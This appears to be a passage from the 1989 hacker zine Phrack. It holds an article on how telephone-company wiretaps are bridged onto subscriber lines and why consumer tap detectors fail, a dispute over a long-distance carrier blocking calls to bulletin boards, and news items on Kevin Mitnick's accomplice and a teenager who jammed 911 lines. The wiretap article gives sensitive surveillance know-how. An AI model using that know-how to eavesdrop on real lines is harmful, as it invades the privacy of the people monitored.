||||||!!!!!!!!!!!!!!!!

|||!!!

||| The Myth and Reality About |||

||| Eavesdropping |||

|||

||| by Phone Phanatic |||

|||

|||... October 8, 1989 ...|||

||||||................

!!!!!!!!!!!!!!!!!!!!!!

Most Central Office (CO) eavesdropping intercepts in a Bell Operating Company (BOC) CO are today performed using a modified Metallic Facility Termination (MFT) circuit pack which places about a 100,000 ohm isolated bridging impedance across the subscriber line. Supervisory signaling is detected on the subscriber loop using a high‑impedance electronic circuit, and the signaling is repeated in an isolated fashion using the A and B leads of the repeating coil in the MFT to "reconstruct" a CO line for the benefit of monitoring apparatus.

The entire purpose of the above effort is to prevent any trouble or noise on the intercept line or monitoring apparatus from causing any trouble, noise or transmission impairment on the subject line.

Some BOCs may elect to use service observing apparatus to provide the necessary isolation and repeated loop supervisory signaling. Less common are locally engineered variations which merely use an isolation amplifier from an MFT or other 4‑wire repeater, and which provide no repeated supervisory signaling (which is not all that necessary, since voice‑activated recorders and DTMF signaling detectors can be used, and since dial pulses can be counted by playing a tape at slow speed).

Today, the use of a "bridge lifter" retardation coil for the purpose of connecting an eavesdropping intercept line is virtually non‑existent since they do not provide sufficient isolation and since they provide a fair amount of insertion loss without loop current on the "observing" side. Bridge lifter coils are primarily intended for answering service intercept lines, and consist of a dual‑winding inductor which passes 20 Hz ringing and whose windings easily saturate when DC current flows. Bridge lifter coils are used to minimize the loading effect (and consequent transmission impairment) of two subscriber loops on one CO line. Bridge lifter coils provide a significant insertion loss at voice frequencies toward the idle loop; i.e., the loop in use will have DC current flow, saturating the inductor, and reducing its insertion loss to 1.0 dB or less.

Despite gadget advertised in magazines like The Sharper Image, the simple truth of the matter is that there is NO WAY for any person using ANY type of apparatus at the telephone set location to ascertain whether there is a properly installed eavesdropping device connected across their line in the CO. The only way such a determination can be made is through the cooperation of the telephone company.

For that matter, there is virtually no way for any person using any type of apparatus in their premises to ascertain if there is ANY type of eavesdropping apparatus installed ANYWHERE on their telephone line outside their premises, unless the eavesdropping apparatus was designed or installed in an exceptionally crude manner (not likely today). Some types of eavesdropping apparatus may be located, but only with the full cooperation of the telephone company.

The sole capability of these nonsense gadgets is to ascertain if an extension telephone is picked up during a telephone call, which is hardly a likely scenario for serious eavesdropping!

These screw‑in‑the‑handset gadgets work by sensing the voltage across the carbon transmitter circuit, and using a control to null this voltage using a comparator circuit. When a person makes a telephone call, the control is adjusted until the light just goes out. If an extension telephone at the user's end is picked up during the call, the increased current drain of a second telephone set will decrease the voltage across the carbon transmitter circuit, unbalancing the voltage comparator circuit, and thereby causing the LED to light.

These voltage comparator "tap detectors" cannot even be left with their setpoint control in the same position, because the effective voltage across a subscriber loop will vary depending upon the nature of the call (except in the case of an all digital CO), and upon other conditions in the CO. Electromechanical and analog ESS CO's may present different characteristics to the telephone line, depending upon whether it is used at the time of: An originated intraoffice call (calling side of intraoffice trunk), an answered intraoffice call (called side of intraoffice trunk), an originated tandem call (interoffice tandem trunk), an originated toll call (toll trunk), or an answered tandem/toll call (incoming tandem or toll trunk). There is usually enough variation in battery feed resistance due to design and component tolerance changes on these different trunks to cause a variation of up to several volts measured at the subscriber end for a given loop and given telephone instrument.

Even more significant are variations in CO battery voltage, which can vary (within "normal limits") from 48 volts to slightly over 52 volts, depending upon CO load conditions. 50 to 51 volts in most CO's is a typical daily variation. If anyone is curious, connect an isolated voltage recorder or data logger to a CO loop and watch the on‑hook voltage variations; in many CO's the resultant voltage vs 24‑hour time curve will look just like the inverse of a busy‑hour graph from a telephone traffic engineering text!

In some all‑digital CO apparatus, the subscriber loop signaling is performed by a solid‑state circuit which functions as a constant‑current (or current‑limiting) device. With such a solid‑state circuit controlling loop current, there is no longer ANY meaningful reference to CO battery voltage; i.e., one cannot even use short‑circuit loop current at the subscriber location to even estimate outside cable plant resistance.

To explode this myth even further, let's do a little Ohm's Law:

1. Assume a CO loop with battery fed from a dual‑winding A‑relay (or line relay, ESS ferrod line scanner element, or whatever) having 200 ohms to CO battery and 200 ohms to ground.

2. Assume a CO loop of 500 ohms (a pretty typical loop).

3. Assume an eavesdropping device with a DC resistance of 100,000 ohms (this is still pretty crude, but I'm being generous with my example).

4. Using some simple Ohm's law, the presence or absence of this hypothetical eavesdropping device at the SUBSCRIBER PREMISES will result in a voltage change of less than 0.5 volt when measured in the on‑hook state. This voltage change is much less than normal variations of CO battery voltage.

5. Using some simple Ohm's law, the presence or absence of this hypothetical eavesdropping device at the CENTRAL OFFICE LOCATION will result in a voltage change of less than 0.2 volt when measured in the on‑hook state. This voltage change is an order of magnitude less than the expected normal variation of CO battery voltage!

Measuring voltage variations on a subscriber loop in an effort to detect a state‑of‑the‑art eavesdropping device is meaningless, regardless of resolution of a voltage measuring device, since the "signal" is in effect buried in the "noise".

Moving on to the subject of subscriber line impedance...

There is simply no way for any device located on the subscriber's premises to obtain any MEANINGFUL information concerning the impedance characteristics of the subscriber loop and whether or not anything "unusual" is connected at the CO (or for that matter, anywhere else on the subscriber loop). There are a number of reasons why this is the case, which include but are not limited to:

1. The impedance of a typical telephone cable pair results from distributed impedance elements, and not lumped elements. Non‑loaded exchange area cable (22 to 26 AWG @ 0.083 uF/mile capacitance) is generally considered to have a characteristic impedance of 600 ohms (it actually varies, but this is a good compromise figure). Loaded exchange area cable, such as H88 loading which are 88 mH coils spaced at 6 kft intervals, is generally considered to have a a characteristic impedance of 900 ohms (it actually varies between 800 and 1,200 ohms, but 900 ohms is generally regarded as a good compromise figure for the voice frequency range of 300 to 3,000 Hz). What this means is that a bridged impedance of 100,000 ohms located in the CO on a typical subscriber loop will result in an impedance change measured at the SUBSCRIBER LOCATION of 0.1% or less. That's IF you could measure the impedance change at the subscriber location.

2. As a general rule of thumb, the impedance of an exchange area telephone cable pair changes ONE PERCENT for every TEN DEGREES Fahrenheit temperature change. Actual impedance changes are a function of the frequency at which the impedance is measured, but the above rule is pretty close for the purposes of this discussion.

3. Moisture in the telephone cable causes dramatic changes in its impedance characteristics. While this may appear obvious in the case of pulp (i.e., paper) insulated conductors, it is also characteristic of polyethylene (PIC) insulated conductors. Only gel‑filled cable (icky‑PIC), which still represents only a small percentage of installed cable plant, is relatively immune from the effects of moisture.

4. From a practical standpoint, it is extremely difficult to measure impedance in the presence of the DC potential which is ALWAYS found on a telephone line. The subscriber has no means to remove the telephone pair from the switching apparatus in the CO to eliminate this potential.

Therefore, any attempt at impedance measurement will be subject to DC current saturation error of any inductive elements found in an impedance bridge. The telephone company can, of course, isolate the subscriber cable pair from the switching apparatus for the purpose of taking a measurement ‑‑ but the subscriber cannot. In addition to the DC current problem, there is also the problem of impulse and other types of noise pickup on a connected loop which will impress errors in the impedance bridge detector circuit. Such noise primarily results from the on‑hook battery feed, and is present even in ESS offices, with ferrod scanner pulses being a good source of such noise. While one could possibly dial a telephone company "balance termination" test line to get a quieter battery feed, this still leaves something to be desired for any actual impedance measurements.

5. Devices which connect to a telephone pair and use a 2‑wire/4‑wire hybrid with either a white noise source or a swept oscillator on one side and a frequency‑selective voltmeter on the other side to make a frequency vs return loss plot provide impressive, but meaningless data. Such a plot may be alleged to show "changes" in telephone line impedance characteristics. There is actual test equipment used by telephone companies which functions in this manner to measure 2‑wire Echo Return Loss (ERL), but the ERL measurement is meaningless for localization of eavesdropping devices.

6. It is not uncommon for the routing of a subscriber line cable pair to change one or more times during its lifetime due to construction and modification of outside cable plant. Outside cable plant bridge taps (not of the eavesdropping variety) can come and go, along with back taps in the CO to provide uninterrupted service during new cable plant additions. Not only can the "active" length of an existing cable pair change by several percent due to construction, but lumped elements of impedance can come and go due to temporary or permanent bridge taps.

The bottom line of the above is that one cannot accurately measure the impedance of a telephone pair while it is connected to the CO switching apparatus, and even if one could, the impedance changes caused by the installation of an eavesdropping device will be dwarfed by changes in cable pair impedance caused by temperature, moisture, and cable plant construction unknown to the subscriber.

About a year ago on a bulletin board I remember some discussions in which there was mention of the use of a time domain reflectometer (TDR) for localization of bridge taps and other anomalies. While a TDR will provide a rather detailed "signature" of a cable pair, it has serious limitations which include, but are not limited to:

1. A TDR, in general, cannot be operated on a cable pair upon which there is a foreign potential; i.e., a TDR cannot be used on a subscriber cable pair which is connected to the CO switching apparatus.

2. A TDR contains some rather sensitive circuitry used to detect the reflected pulse energy, and such circuitry is extremely susceptible to noise found in twisted pair telephone cable. A TDR is works well with coaxial cable and waveguide, which are in effect shielded transmission lines. The use of a TDR with a twisted cable pair is a reasonable compromise provided it is a _single_ cable pair within one shield. The use of a TDR with a twisted cable pair sharing a common shield with working cable pairs is an invitation to interference by virtue of inductive and capacitive coupling of noise from the working pairs.

3. Noise susceptibility issues notwithstanding, most TDR's cannot be used beyond the first loading coil on a subscriber loop since the loading coil inductance presents far too much reactance to the short pulses transmitted by the TDR. There are one or two TDR's on the market which claim to function to beyond ONE loading coil, but their sensitivity is poor.

There is simply no device available to a telephone subscriber that without the cooperation of the telephone company which can confirm or deny the presence of any eavesdropping device at any point beyond the immediate premises of the subscriber. I say "immediate premises of the subscriber" because one presumes that the subscriber has the ability to isolate the premises wiring from the outside cable plant, and therefore has complete inspection control over the premises wiring.

I have used the phrase "without the cooperation of the telephone company" several times in this article. No voltage, impedance or TDR data is meaningful without knowing the actual circuit layout of the subscriber loop in question. Circuit layout information includes such data as exact length and guages of loop sections, detailed description of loading (if present), presence and location of multiples and bridge taps, calculated and measured resistance of the loop, loop transmission loss, etc. There is NO way that a telephone company is going to furnish that information to a subscriber! Sometimes it's even difficult for a government agency to get this information without judicial intervention.

Despite what I have stated in this article, you will see claims made by third parties as to the existence of devices which will detect the presence of telephone line eavesdropping beyond the subscriber's immediate premises. With the exception of the trivial cases of serious DC current draw by an extension telephone or the detection of RF energy emitted by a transmitter, this just ain't so. Companies like Communication Control Corporation (which advertises in various "executive" business publications) get rich by selling devices which claim to measure minute voltage and impedance changes on a telephone line ‑but consider those claims in view of the voltage changes due to CO battery variations and due to temperature changes in outside cable plant ‑‑ and you should get the true picture.

Blocking of Long-Distance Calls...

==Phrack Inc.==

Volume Three, Issue 29, File #9 of 12

\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\

\`\

\`\ BLOCKING OF LONG‑DISTANCE CALLS... REVISITED \`\

\`\ by Jim Schmickley \`\

\`\

\`\ Hawkeye PC, Cedar Rapids, Iowa \`\

\`\

\`\ Previosly Seen in Pirate Magazine \`\

\`\

\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\

This file is a continuation of "Block Of Long‑Distance Calls" that was seen in Phrack Inc. Issue 21, file 8. Although the material has already been released (perhaps on a limited basis) in Pirate Magazine, we felt the information was important enough to re‑present (on a larger scale), especially considering it was an issue that we had previously detailed. ‑‑ Phrack Inc. Staff

The following article begins where the previous article left off:

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

November 17, 1988

Customer Service

Teleconnect

P.O. Box 3013

Cedar Rapids, IA 52406‑9101

Dear Persons:

I am writing in response to my October Teleconnect bill, due November 13, for $120.76. As you can see, it has not yet been paid, and I would hope to delay payment until we can come to some equitable table resolution of what appears to be a dispute. The records should show that I have paid previous bills responsibly. Hence, this is neither an attempt to delay nor avoid payment. My account number is: 01‑xxxx‑xxxxxx. My user phone is: 815‑xxx‑xxxx. The phone of record (under which the account is registered) is: 815‑xxx‑xxxx.

If possible, you might "flag" my bill so I will not begin receiving dunning notices until we resolve the problem. I have several complaints. One is the bill itself, the other is the service. I feel my bill has been inflated because of the poor quality of the service you provide to certain areas of the country. These lines are computer lines, and those over which the dispute occurs are 2400 baud lines. Dropping down to 1200 baud does not help much. As you can see from my bill, there are numerous repeat calls made to the same location within a short period of time. The primary problems occured to the following locations:

1. Highland, CA 714‑864‑4592

2. Montgomery, AL 205‑279‑6549

3. Fairbanks, AK 907‑479‑7215

4. Lubbock, TX 806‑794‑4362

5. Perrine, FL 305‑235‑1645

6. Jacksonville, FL 904‑721‑1166

7. San Marcos, TX 512‑754‑8182

8. Birmingham, AL 205‑979‑8409

9. N. Phoenix, AZ 602‑789‑9269 <‑‑ (The Dark Side BBS by The Dictator)

The problem is simply that, to these destinations, Teleconnect can simply not hold a line. AT&T can. Although some of these destinations were held for a few minutes, generally, I cannot depend on TC service, and have more recently begun using AT&T instead. Even though it may appear from the records that I maintained some contact for several minutes, this time was useless, because I cold not complete my business, and the time was wasted. An equitable resolution would be to strike these charges from my bill.

I would also hope that the calls I place through AT&T to these destinations will be discounted, rather than pay the full cost. I have enclosed my latest AT&T bill, which includes calls that I made through them because of either blocking or lack of quality service. If I read it correctly, no discount was taken off. Is this correct?

As you can see from the above list of numbers, there is a pattern in the poor quality service: The problem seems to lie in Western states and in the deep south. I have no problem with the midwest or with numbers in the east.

I have been told that I should call a service representative when I have problems. This, however, is not an answer for several reasons. First, I have no time to continue to call for service in the middle of a project. The calls tend to be late at night, and time is precious. Second, on those times I have called, I either could not get through, or was put on hold for an indeterminable time. Fourth, judging from comments I have received in several calls to Teleconnect's service representatives, these seem to be problems for which there is no immediate solution, thus making repeated calls simply a waste of time. Finally, the number of calls on which I would be required to seek assistance would be excessive. The inability to hold a line does not seem to be an occasional anomaly, but a systematic pattern that suggests that the service to these areas is, indeed, inadequate.

A second problem concerns the Teleconnect policy of blocking certain numbers. Blocking is unacceptable. When calling a blocked number, all one receives is a recorded message that "this is a local call." Although I have complained about this once I learned of the intentional blocking, the message remained the same. I was told that one number (301‑843‑5052) would be unblocked, and for several hours it was. Then the blocking resumed.

A public utility simply does not have the right to determine who its customers may or may not call. This constitutes a form of censorship. You should candidly tell your customers that you must approve of their calls or you will not place them. You also have the obligation to provide your customers with a list of those numbers you will not service so that they will not waste their time attempting to call. You might also change the message that indicates a blocked call by saying something "we don't approve of who you're calling, and won't let you call."

I appreciate the need to protect your customers. However, blocking numbers is not appropriate. It is not clear how blocking aids your investigation, or how blocking will eliminate whatever problems impelled the action. I request the following:

1. Unblock the numbers currently blocked.

2. Provide me with a complete list of the numbers you are blocking. 3. End the policy of blocking.

I feel Teleconnect has been less than honest with its customers, and is a bit precipitous in trampling on rights, even in a worthy attempt to protect them from abuses of telephone cheats. However, the poor quality of line service, combined with the apparrent violation of Constitutional rights, cannot be tolerated. Those with whom I have spoken about this matter are polite, but the bottom line is that they do not respond to the problem. I would prefer to pay my bill only after we resolve this.

Cheerfully,

(Name removed by request)

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

/*/ ST*ZMAG SPECIAL REPORT ‑ by Jerry Cross /*/

(reprinted from Vol. #28, 7 July, 1989)

========================

TELECONNECT CALL BLOCKING UPDATE Ctsy (Genesee Atari Group)

Background

~~~~~~~~~~

At the beginning of last year one of my bbs users uploaded a file he found on another bbs that he thought I would be interested in. It detailed the story of an Iowa bbs operator who discovered that Teleconnect, a long distance carrier, was blocking incoming calls to his bbs without his or the callers knowledge.

As an employee of Michigan Bell I was very interested. I could not understand how a company could interfere with the transmissions of telephone calls, something that was completely unheard of with either AT&T or Michigan Bell in the past. The calls were being blocked, according to Teleconnect public relations officials, because large amounts of fraudulent calls were being placed through their system. Rather than attempting to discover who was placing these calls, Teleconnect decided to take the easy (and cheap) way out by simply block access to the number they were calling. But the main point was that a long distance company was intercepting phone calls. I was very concerned.

I did some investigating around the Michigan area to see what the long distance carriers were doing, and if they, too, were intercepting or blocking phone calls. I also discovered that Teleconnect was just in the process of setting up shop to serve Michigan. Remember, too, that many of the former AT&T customers who did not specify which long distance carrier they wanted at the time of the AT&T breakup were placed into a pool, and divided up by the competing long distance companies. There are a number of Michigan users who are using certain long distance carriers not of their choice.

My investigation discovered that Michigan Bell and AT&T have a solid, computer backed security system that makes it unnecessary for them to block calls. MCI, Sprint, and a few other companies would not comment or kept passing me around to other departments, or refused to comment about security measures.

I also discussed this with Michigan Bell Security and was informed that any long distance company that needed help investigating call fraud would not only receive help, but MBT would actually prepare the case and appear in court for prosecution!

My calls to Teleconnect were simply ignored. Letters to the public service commission, FCC, and other government departments were also ignored. I did, however, get some cooperation from our U.S. Representative Dale Kildee, who filed a complaint in my name to the FCC and the Interstate Commerce Commission. What follows is their summary of an FCC investigation to Mr. Kildee's office.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Dear Congressman Kildee:

This is in further response to your October 18, 1988 memorandum enclosing correspondence from Mr. Gerald R. Cross, President of the Genesee Atari Group in Flint, Michigan concerning a reported incidence of blocking calls from access to Curt Kyhl's Stock Exchange Bulletin Board System in Waterloo, Iowa by Teleconnect, a long distance carrier. Mr. Cross, who also operates a bulletin board system (bbs), attaches information indicating that Teleconnect blocked callers from access via its network to Mr. Kyhl's BBS number in an effort to prevent unauthorized use of its customers' long distance calling authorization codes by computer "hackers." Mr. Cross is concerned that this type of blocking may be occurring in Michigan and that such practice could easily spread nationwide, thereby preventing access to BBSs by legitimate computer users.

On November 7, 1988, the Informal Complaints Branch of the Common Carrier Bureau directed Teleconnect to investigate Mr. Cross' concerns and report the results of its investigation to this Commission. Enclosed, for your information, is a copy of Teleconnect's December 7, 1988 report and its response to a similar complaint filed with this Commission by Mr. James Schmickley. In accordance with the commission's rules, the carrier should have forwarded a copy of its December 7, 1988 report to Mr. Cross at the same time this report was filed with the Commission. I apologize for the delay in reporting the results of our investigation to your office.

Teleconnect's report states that it is subject to fraudulent use of its network by individuals who use BBSs in order to unlawfully obtain personal authorization codes of consumers. Teleconnect also states that computer "hackers" employ a series of calling patterns to access a carrier's network in order to steal long distance services. The report further states that Teleconnect monitors calling patterns on a 24 hour basis in an effort to control, and eliminate when possible, code abuse. As a result of this monitoring, Teleconnect advises that its internal security staff detected repeated attempts to access the BBS numbers in question using multiple seven‑digit access codes of legitimate Teleconnect customers. These calling patterns, according to Teleconnect, clearly indicated that theft of telecommunications services was occurring.

The report states that Teleconnect makes a decision to block calls when the estimated loss of revenue reaches at least $500. Teleconnect notes that blocking is only initiated when signs of "hacking" and other unauthorized usage are present, when local calls are attempted over its long distance network or when a customer or other carrier has requested blocking of a certain number. Teleconnect maintains that blocking is in compliance with the provisions of Section A.20.a.04 of Teleconnect's Tariff FCC No. #3 which provides that service may be refused or disconnected without prior notice by Teleconnect for fraudulent unauthorized use. The report also states that Teleconnect customers whose authorizations codes have been fraudulently used are immediately notified of such unauthorized use and are issued new access codes. Teleconnect further states that while an investigation is pending, customers are given instructions on how to utilize an alternative carrier's network by using "10XXX" carrier codes to access interstate or intrastate communications until blocking can be safely lifted.

Teleconnect maintains that although its tariff does not require prior notice to the number targeted to be blocked, it does, in the case of a BBS, attempt to identify and contact the Systems Operator (SysOp), since the SysOp will often be able to assist in the apprehension of an unauthorized user. The report states that with regard to Mr. Kyle's Iowa BBS, Teleconnect was unable to identify Mr. Kyle as the owner of the targeted number because the number was unlisted and Mr. Kyhl's local carrier was not authorized to and did not release any information to Teleconnect by which identification could be made. The report also states that Teleconnect attempted to directly access the BBS to determine the identity of the owner but was unable to do so because its software was incompatible with the BBS.

Teleconnect states that its actions are not discriminatory to BBSs and states that it currently provides access to literally hundreds of BBSs around the country. The report also states that Teleconnect's policy to block when unauthorized use is detected is employed whether or not such use involves a BBS. Teleconnect advises that when an investigation is concluded or when a complaint is received concerning the blocking, the blocking will be lifted, as in the case of the Iowa BBS. However, Teleconnect notes that blocking will be reinstated if illegal "hacking" recurs.

Teleconnect advises that it currently has no ongoing investigations within the State of Michigan and therefore, is not presently blocking any BBSs in Michigan. However, Teleconnect states that it is honoring the request of other carriers and customers to block access to certain numbers.

The Branch has reviewed the file on this case. In accordance with the Commission's rules for informal complaints it appears that the carrier's report is responsive to our Notice. Therefore, the Branch, on its own motion, is not prepared to recommend that the Commission take further action regarding this matter.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

This letter leaves me with a ton of questions. First, let's be fair to Teleconnect. Long distance carriers are being robbed of hundreds of thousands of dollars annually by "hackers" and must do something to prevent it. However, call blocking is NOT going to stop it. The "hacker" still has access to the carrier network and will simply start calling other numbers until that number, too, is blocked, then go on to the next. The answer is to identify the "hacker" and put him out of business. Teleconnect is taking a cheap, quick fix approach that does nothing to solve the problem, and hurts the phone users as a whole.

They claim that their customers are able to use other networks to complete their calls if the number is being blocked. What if other networks decide to use Teleconnect's approach? You would be forced to not only keep an index of those numbers you call, but also the long distance carrier that will let you call it! Maybe everyone will block that number, then what will you do? What if AT&T decided to block calls? Do they have this right too?

And how do you find out if the number is being blocked? In the case of Mr. Kyhl's BBS, callers were given a recording that stated the number was not in service. It made NO mention that the call was blocked, and the caller would assume the service was disconnect. While trying to investigate why his calls were not going through, Mr. James Schmickley placed several calls to Teleconnect before they finally admitted the calls were being blocked! Only after repeated calls to Teleconnect was the blocking lifted. It should also be noted that Mr. Kyhl's bbs is not a pirate bbs, and has been listed in a major computer magazine as one of the best bbs's in the country.

As mentioned before, MBT will work with the long distance carriers to find these "hackers." I assume that the other local carriers would do the same. I do not understand why Teleconnect could not get help in obtaining Mr. Kyhl's address. It is true the phone company will not give out this information, but WILL contact the customer to inform him that someone needs to contact him about possible fraud involving his phone line. If this policy is not being used, maybe the FCC should look into it.

Call blocking is not restricted to BBSs, according to Teleconnect. They will block any number that reaches a $500 fraud loss. Let's say you ran a computer mail order business and didn't want to invest in a WATS line. Why should an honest businessman be penalized because someone else is breaking the law? It could cost him far more the $500 from loss of sales because of Teleconnect's blocking policy.

Teleconnect also claims that "they are honoring the request of other carriers and customers to block access to certain numbers." Again, MBT also has these rules. But they pertain to blocking numbers to "certain numbers" such as dial‑a‑porn services, and many 900‑numbers. What customer would ever request that Teleconnect block incoming calls to his phone?

And it is an insult to my intelligence for Teleconnect to claim they could not log on to Mr. Kyhl's BBS. Do they mean to say that with hundreds of thousands of dollars in computer equipment, well trained technicians, and easy access to phone lines, that they can't log on to a simple IBM bbs? Meanwhile, here I sit with a $50 Atari 800xl and $30 Atari modem and I have no problem at all accessing Mr. Kyhl's bbs! What's worse, the FCC (the agency in charge of regulating data transmission equipment), bought this line too! Incredible!!!

And finally, I must admit I don't have the faintest idea what Section A.20.a.04 of Teleconnect's Tariff FCC No. 3 states, walk into your local library and ask for this information and you get a blank look from the librarian. I know, I tried! However, MBT also has similar rules in their tariffs. Teleconnect claims that the FCC tariff claims that "service may be refused or disconnected without prior notice by Teleconnect for fraudulent, unauthorized use". This rule, as applied to MBT, pertains ONLY to the subscriber. If an MBT customer were caught illegally using their phone system then MBT has the right to disconnect their service. If a Teleconnect user wishes to call a blocked number, and does so legally, how can Teleconnect refuse use to give them service? This appears to violate the very same tarriff they claim gives them the right to block calls!

I have a few simple answers to these questions. I plan, once again, to send out letters to the appropriate agencies and government representatives, but I doubt they will go anywhere without a mass letter writing campaign from all of you. First, order that long distance companies may not block calls without the consent of the customer being blocked. Every chance should be given to him to assist in identifying the "hacker," and he should not be penalized for other people's crimes. There should also be an agency designated to handle appeals if call blocking is set up on their line. Currently, there is no agency, public service commission, or government office (except the FCC) that you can complain to, and from my experience trying to get information on call blocking I seriously doubt that they will assist the customer.

Next, order the local phone carriers to fully assist and give information to the long distance companies that will help identify illegal users of their systems. Finally, order the Secret Service to investigate illegal use of long distance access codes in the same manner that they investigate credit card theft. These two crimes go hand in hand. Stiff fines and penalties should be made mandatory for those caught stealing long distance services.

If you would like further information, or just want to discuss this, I am available on Genie (G.Cross) and CompuServe (75046,267). Also, you can reach me on my bbs (FACTS, 313‑736‑4544). Only with your help can we put a stop to call blocking before it gets too far out of hand.

Phrack World News XXIX Part 1

==Phrack Inc.==

Volume Three, Issue 29, File #10 of 12

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN P h r a c k W o r l d N e w s PWN

PWN ~~~~~~~~~~~ ~~~~~~~~~ ~~~~~~PWN

PWN Issue XXIX/Part 1 PWN

PWN PWN

PWN November 17, 1989 PWN

PWN PWN

PWN Created, Written, and Edited PWN PWN by Knight Lightning PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Welcome to Issue XXIX of Phrack World News!

Although Phrack Inc. is officially four years old, Phrack World News is not. PWN originally in its first issue (which was in Phrack Inc. II... its a long story) was known as "Phreak World News," but quickly changed and starting with Phrack Inc. Issue III became Phrack World News as you see it today.

This issue of Phrack World News contains stories and articles detailing events and other information concerning AT&T, Clifford Stoll, Kent O'Brien, Kevin David Mitnick, Datacrime, DEC, FAX, FCC, Galactic Hackers Party, IBM, Lawrence Livermore National Laboratory, Leonard Mitchell DiCicco, MCI, NASA, Robert Morris, Shockwave Rider, SummerCon '89, The "NEW" TAP Magazine, 2600 Magazine, Viruses, Worms Against Nuclear Killers, and much more so keep reading and enjoy.

:Knight Lightning

"The Real Future Is Behind You... And It's Only The Beginning!"

________________________________________

Judge Proposes Community Service For Hacker's Accomplice October 13, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Kathy McDonald (New York Times)

LOS ANGELES ‑‑ A federal judge says she is inclined to sentence a man who pleaded guilty to helping computer hacker Kevin Mitnick steal a computer security program to community service and asked him to submit a proposal on such a sentence.

U.S. District Judge Mariana R. Pfaelzer said Leonard Mitchell DiCicco, of unincorporated suburban Calabasas, had been helpful in the case, in which he reported Mitnick to officers at Digital Equipment Corporation in Massachusetts.

Mitnick has admitted he stole a DEC computer security program and electronically brought it to California.

Pfaelzer gave DiCicco, age 23, until November 1 to come up with a detailed proposal for his community service.

"I favor the handicapped, older people, something which is out in the community," Pfaelzer said.

DiCicco pleaded guilty in July to one count of aiding and abetting the interstate transportation of stolen property. He admitted that in 1987 he let Mitnick, age 25, of suburban Panorama City, use his office computer at Voluntary Plan Administrators in Calabasas to break into the DEC system.

Mitnick pleaded guilty and was sentenced in July to one year in prison and six months in a community treatment program aimed at breaking his "addiction" to computer hacking.

Under a plea agreement with the government, DiCicco pleaded guilty in exchange for a promise that he would not be prosecuted for any of the other instances of computer hacking he and Mitnick carried out.

He said after Thursday's (October 12) court appearance that he would like to put his computer talents to use to help others.

Assistant U.S. Attorney James Asperger did not object to giving DiCicco community service rather than a prison term, saying: "I think Mr. DiCicco's cooperation in this case was essential to the prosecution of both Mr. Mitnick and himself. He is certainly lower in culpability than Mr. Mitnick."

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

If you are looking for other articles related to Leonard Mitchell DiCicco and the famous Kevin David Mitnick please refer to;

"Pacific Bell Means Business" (10/06/88) PWN XXI....Part 1 "Dangerous Hacker Is Captured" (No Date ) PWN XXII...Part 1 "Ex‑Computer Whiz Kid Held On New Fraud Counts" (12/16/88) PWN XXII...Part 1 "Dangerous Keyboard Artist" (12/20/88) PWN XXII...Part 1 "Armed With A Keyboard And Considered Dangerous" (12/28/88) PWN XXIII..Part 1 "Dark Side Hacker Seen As Electronic Terrorist" (01/08/89) PWN XXIII..Part 1

"Mitnick Plea Bargains" (03/16/89) PWN XXV....Part 1

"Mitnick Plea Bargain Rejected As Too Lenient" (04/25/89) PWN XXVII..Part 1 "Computer Hacker Working On Another Plea Bargain" (05/06/89) PWN XXVII..Part 1

"Mitnick Update" (05/10/89) PWN XXVII..Part 1

"Kenneth Siani Speaks Out About Kevin Mitnick" (05/23/89) PWN XXVII..Part 1 "Judge Suggests Computer Hacker Undergo Counseling"(07/17/89) PWN XXVIII.Part 1 "Authorities Backed Away From Original Allegations"(07/23/89) PWN XXVIII.Part 1

________________________________________

How Hacker Jammed 911 Police Lines October 4, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Benny Evangelista

He is a brilliant, but lonely teenage computer hacker with too much time on his hands.

And the police said the 16‑year‑old San Gabriel boy used that time to put a sophisticated high‑tech spin on age‑old teenage telephone pranks by tying up police emergency lines from Hayward, California to Cedar Rapids, Iowa, and harassing other people, all from what he thought was the safety of his home Commodore 64 computer.

The calls that jammed Hayward police and Alameda County sheriff's lines were potentially dangerous, but officials said that no emergency was neglected because of them.

This is the way he got his kicks, but he had most of us just absolutely crazed," said Connie Bullock, security director for one of the long‑distance companies that suffered thousands of dollars of losses.

The boy, who police would not identify because of his age, is <was> scheduled to be arraigned October 16th in Los Angeles County Juvenile Court for making telephone bomb threats, fraudulently obtaining long‑distance telephone service, interfering with a police officer and making harassing phone calls.

"Our goal is to get him on probation so we can doctor him for the next couple of years," said Sgt. Bernie Kammer, of the Los Angeles County sheriff's computer crime detail.

"Hopefully, he may be one of the guys who sends the next space capsule up," Kammer said.

The hacker, who has used handles like "Kent O'Brien," surfaced sometime last October, said Bullock, director of network security for ComSystems Incorporated, a Van Nuys‑based long distance company.

Bullock learned that someone had tapped into the electronic phone mail system of a Cedar Rapids‑based long‑distance company using ComSystems lines.

A security officer for the Iowa company began receiving harassing and threatening calls, some at home in the middle of the night, she said.

The hacker became good at cracking home answering‑machine codes in the Southern California area and possibly elsewhere, and changed several outgoing messages, she said.

He also broke into the phone mail system at Sears administrative office in Hayward, California and called workers there, she said. He even commandeered one phone mail box and had other people leave messages.

He would also make anonymous calls or just let the phone ring in the middle of the night and hang up. He phoned in bomb threats to his old high school and a fast‑food restaurant, Kammer said.

In all cases, he used a computer synthesizer to disguise his voice, Kammer said. And he routed the calls in ways to make tracing impossible.

Then he started calling Cedar Rapids police emergency 911 lines, bombarding dispatchers in the middle of the night with a series of computer‑assisted calls that would tie up the lines for hours. He would make small talk and ask about the weather, said Cedar Rapids Detective Stan McCurg.

